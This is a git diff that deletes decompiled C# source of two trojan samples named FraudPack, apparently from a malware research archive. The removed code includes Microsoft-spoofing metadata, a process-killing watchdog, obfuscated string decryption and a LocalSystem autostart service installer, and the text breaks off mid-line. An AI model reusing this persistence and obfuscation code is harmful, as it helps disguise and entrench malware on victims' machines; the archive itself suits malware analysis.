a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/AssemblyInfo.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("crss")] -[assembly: AssemblyCopyright("Copyright © Microsoft 2011")] -[assembly: AssemblyTitle("crss")] -[assembly: AssemblyCompany("Microsoft")] -[assembly: Guid("0e2e0873-244f-4dfb-9b28-b1a56e3e7bbe")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: SuppressIldasm] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.csproj b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.csproj deleted file mode 100644 index 4aa2a5c3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.csproj +++ /dev/null @@ -1,51 +0,0 @@ - - - - - Debug - AnyCPU - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1} - WinExe - crss - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.sln b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.sln deleted file mode 100644 index 88ec989e..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "crss", "Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.csproj", "{FFB15BCA-D8E5-4BDB-8521-51779612FEA1}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0002.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0002.cs deleted file mode 100644 index b991fb52..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0002.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System.CodeDom.Compiler; -using System.Diagnostics; -using System.Globalization; -using System.Resources; - -[DebuggerNonUserCode] -[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] -internal sealed class \u0002 -{ - private static ResourceManager \u0002; - private static CultureInfo \u0003; - - internal \u0002() - { - } - - internal static ResourceManager \u0002() - { - if (\u0002.\u0002 == null) - \u0002.\u0002 = new ResourceManager(\u0008.\u0002(1725855201), typeof (\u0002).Assembly); - return \u0002.\u0002; - } - - internal static CultureInfo \u0002() => \u0002.\u0003; - - internal static void \u0002(CultureInfo _param0) => \u0002.\u0003 = _param0; -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.cs deleted file mode 100644 index 63bde6f1..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public sealed class \u0003 : Form -{ - private IContainer \u0002 = (IContainer) null; - private Button \u0003; - private TextBox \u0005; - - public \u0003() => this.\u0002(); - - protected override void Dispose(bool _param1) - { - if (_param1 && this.\u0002 != null) - this.\u0002.Dispose(); - base.Dispose(_param1); - } - - private void \u0002() - { - this.\u0003 = new Button(); - this.\u0005 = new TextBox(); - this.SuspendLayout(); - this.\u0003.Location = new Point(115, 187); - this.\u0003.Name = \u0008.\u0002(1725855169); - this.\u0003.Size = new Size(75, 23); - this.\u0003.TabIndex = 0; - this.\u0003.Text = \u0008.\u0002(1725855169); - this.\u0003.UseVisualStyleBackColor = true; - this.\u0003.Click += new EventHandler(this.\u0003); - this.\u0005.Location = new Point(68, 161); - this.\u0005.Name = \u0008.\u0002(1725855191); - this.\u0005.Size = new Size(169, 20); - this.\u0005.TabIndex = 1; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 273); - this.Controls.Add((Control) this.\u0005); - this.Controls.Add((Control) this.\u0003); - this.Name = \u0008.\u0002(1725855140); - this.Text = \u0008.\u0002(1725855140); - this.Load += new EventHandler(this.\u0002); - this.ResumeLayout(false); - this.PerformLayout(); - } - - private void \u0002(object _param1, EventArgs _param2) - { - } - - private void \u0003(object _param1, EventArgs _param2) - { - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.resx b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0005.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0005.cs deleted file mode 100644 index b595dcb2..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0005.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Permissions; -using System.Timers; -using System.Windows.Forms; - -internal static class \u0005 -{ - [STAThread] - [PermissionSet(SecurityAction.LinkDemand, XML = "\r\n")] - private static void \u0002() - { - string str = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - Process[] processesByName = Process.GetProcessesByName(\u0008.\u0002(1725855144)); - int num = 0; - for (int index = 0; index < processesByName.Length; ++index) - { - if (processesByName[index].MainModule.FileName != str + \u0008.\u0002(1725855165)) - processesByName[index].Kill(); - else - ++num; - } - if (num >= 2) - Environment.Exit(0); - System.Timers.Timer timer = new System.Timers.Timer(1000.0); - timer.Elapsed += new ElapsedEventHandler(\u0005.\u0002); - timer.AutoReset = true; - timer.Enabled = true; - Application.Run(); - } - - private static void \u0002(object _param0, ElapsedEventArgs _param1) - { - string str = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - Process[] processesByName = Process.GetProcessesByName(\u0008.\u0002(1725855073)); - bool flag = false; - for (int index = 0; index < processesByName.Length; ++index) - { - if (processesByName[index].MainModule.FileName != str + \u0008.\u0002(1725855088)) - processesByName[index].Kill(); - else - flag = true; - } - if (flag) - return; - Process.Start(str + \u0008.\u0002(1725855088)); - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0006.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0006.cs deleted file mode 100644 index e84783dd..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0006.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -internal static class \u0006 -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - byte num1 = _param0[1]; - int length = _param1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return _param1; - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0008.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0008.cs deleted file mode 100644 index 1acf928e..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0008.cs +++ /dev/null @@ -1,191 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u0008 -{ - private static readonly Dictionary \u0002 = new Dictionary(8); - private static BinaryReader \u0003; - private static byte[] \u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - lock (\u0008.\u0002) - { - string str1; - byte[] numArray1; - for (; !\u0008.\u0002.TryGetValue(_param0, out str1); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0) - { - if (\u0008.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u0008.\u0006 = 1610370; - Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("           "); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - \u0008.\u0006 ^= 6470 | skipFrames; - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u0008.\u0006 ^= index + 128; - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u0008.\u0006 ^= 219315; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u0008.\u0006 ^= 160; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u0008.\u0006 ^= 219283; - } - if (flag == (stackTrace != null)) - \u0008.\u0006 ^= 32; - \u0008.\u0006 ^= 6502 | index + 1; - \u0008.\u0003 = new BinaryReader(manifestResourceStream); - short count = (short) ((int) \u0008.\u0003.ReadInt16() ^ (int) (short) ~-~--~~-~-25038); - if (count == (short) 0) - \u0008.\u0008 = (short) ((int) \u0008.\u0003.ReadInt16() ^ (int) (short) (-~-~-~~-~-351214658 ^ 351231482)); - else - \u0008.\u0005 = \u0008.\u0003.ReadBytes((int) count); - Assembly assembly = executingAssembly; - AssemblyName assemblyName; - try - { - assemblyName = assembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly.FullName); - } - \u0008.\u000E = assemblyName.GetPublicKeyToken(); - if (\u0008.\u000E != null && \u0008.\u000E.Length == 0) - \u0008.\u000E = (byte[]) null; - \u0008.\u0006 = \u0008.\u0006 & 268435314 ^ 6788; - } - int num1 = _param0 ^ 1725855205; - \u0008.\u0003.BaseStream.Position = (long) num1; - byte[] numArray2; - if (\u0008.\u0005 != null) - { - numArray2 = \u0008.\u0005; - } - else - { - short count = \u0008.\u0008 != (short) -1 ? \u0008.\u0008 : (short) ((int) \u0008.\u0003.ReadInt16() ^ 23315 ^ num1); - numArray2 = count != (short) 0 ? \u0008.\u0003.ReadBytes((int) count) : (byte[]) null; - } - int num2 = \u0008.\u0003.ReadInt32() ^ num1 ^ ~--~~-~-~827774536 ^ 1596656750; - if (num2 == -2) - { - numArray1 = \u0008.\u0003.ReadBytes(4); - _param0 = -1853741605; - } - else - { - bool flag1 = (num2 & int.MinValue) != 0; - bool flag2 = (num2 & 1073741824) != 0; - int count = num2 & 1073741823; - byte[] numArray3 = \u0006.\u0002(numArray2, \u0008.\u0003.ReadBytes(count)); - if (\u0008.\u000E != null != (\u0008.\u0006 != 1607814)) - { - for (int index = 0; index < count; ++index) - { - byte num3 = \u0008.\u000E[index & 7]; - byte num4 = (byte) ((int) num3 << 3 | (int) num3 >> 5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num4); - } - } - int num5 = \u0008.\u0006 - 12; - byte[] bytes; - int length; - if (!flag2) - { - bytes = numArray3; - length = count; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u0008.\u0002(numArray3, 4, bytes); - } - string str2; - if (flag1 && num5 == 1607802) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str2 = new string(chArray); - } - else - str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num6 = num5 + ((int) sbyte.MaxValue + (num5 & 3) << 5); - if (num6 != 1611930) - str2 = (_param0 + count ^ 936568 ^ num6 & 1293).ToString("X"); - string str3 = string.Intern(str2); - \u0008.\u0002.Add(_param0, str3); - if (\u0008.\u0002.Count == 8) - { - \u0008.\u0003.Close(); - \u0008.\u0003 = (BinaryReader) null; - \u0008.\u0005 = \u0008.\u000E = (byte[]) null; - } - return str3; - } - } - return str1; - } - } - - private static int \u0002(byte[] _param0, int _param1, byte[] _param2) - { - int num1 = 0; - int num2 = 0; - int num3 = 128; - int length = _param2.Length; -label_9: - while (num1 < length) - { - if ((num3 <<= 1) == 256) - { - num3 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num3) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num1 - num5; - if (num6 < 0) - return -1; - while (true) - { - if (--num4 >= 0 && num1 < length) - _param2[num1++] = _param2[num6++]; - else - goto label_9; - } - } - else - _param2[num1++] = _param0[_param1++]; - } - return 0; - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Resources.resx b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Settings.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Settings.cs deleted file mode 100644 index 0ac97bf2..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Settings.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: crss.Properties.Settings -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace crss.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default - { - get - { - Settings defaultInstance = Settings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/            b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/            deleted file mode 100644 index cd243c938841b100ae11008317b567baf897df87..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 199 zcmX?|xXV%OJp$EwOZaqtx_!5w599{uEIi~IRyK1Ikp1}4Cb3;t;+FxLd(w5p1fFyx zs4mHSz1~TpGRI?~N}F9!%*&u}G6!s37^*p&M0F>azYPVdl@6T5=wLsWpZa0b@%HnljTRdy`IjyXm28wK2{|vn^hV(FTI24lT)`O59036S(^szm diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/AssemblyInfo.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/AssemblyInfo.cs deleted file mode 100644 index 55b0ac85..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/AssemblyInfo.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyTrademark("")] -[assembly: Guid("d9813aa2-e9b9-48ab-9e79-f7448274f278")] -[assembly: AssemblyCopyright("Copyright © Microsoft 2011")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: SuppressIldasm] -[assembly: AssemblyProduct("SQLServerAgent")] -[assembly: AssemblyCompany("Microsoft")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("SQLServerAgent")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.csproj b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.csproj deleted file mode 100644 index 801b43b0..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3} - WinExe - SQLServerAgent - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.sln b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.sln deleted file mode 100644 index 926e7c01..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SQLServerAgent", "Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.csproj", "{FAE1B1FB-B69C-47E9-8E15-4062D60056C3}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0002.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0002.cs deleted file mode 100644 index 662ca00e..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using System.ServiceProcess; - -internal static class \u0002 -{ - private static void \u0002() => ServiceBase.Run(new ServiceBase[1] - { - (ServiceBase) new \u0005() - }); -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.cs deleted file mode 100644 index 21ec44b0..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using System.ComponentModel; -using System.Configuration.Install; -using System.ServiceProcess; - -[RunInstaller(true)] -public sealed class \u0003 : Installer -{ - private IContainer \u0002 = (IContainer) null; - private ServiceProcessInstaller \u0003; - private ServiceInstaller \u0005; - - public \u0003() => this.\u0002(); - - protected override void Dispose(bool _param1) - { - if (_param1 && this.\u0002 != null) - this.\u0002.Dispose(); - base.Dispose(_param1); - } - - private void \u0002() - { - this.\u0003 = new ServiceProcessInstaller(); - this.\u0005 = new ServiceInstaller(); - this.\u0003.Account = ServiceAccount.LocalSystem; - this.\u0003.Password = (string) null; - this.\u0003.Username = (string) null; - this.\u0005.Description = \u0008.\u0002(1356208612); - this.\u0005.DisplayName = \u0008.\u0002(1356208604); - this.\u0005.ServiceName = \u0008.\u0002(1356208604); - this.\u0005.StartType = ServiceStartMode.Automatic; - this.Installers.AddRange(new 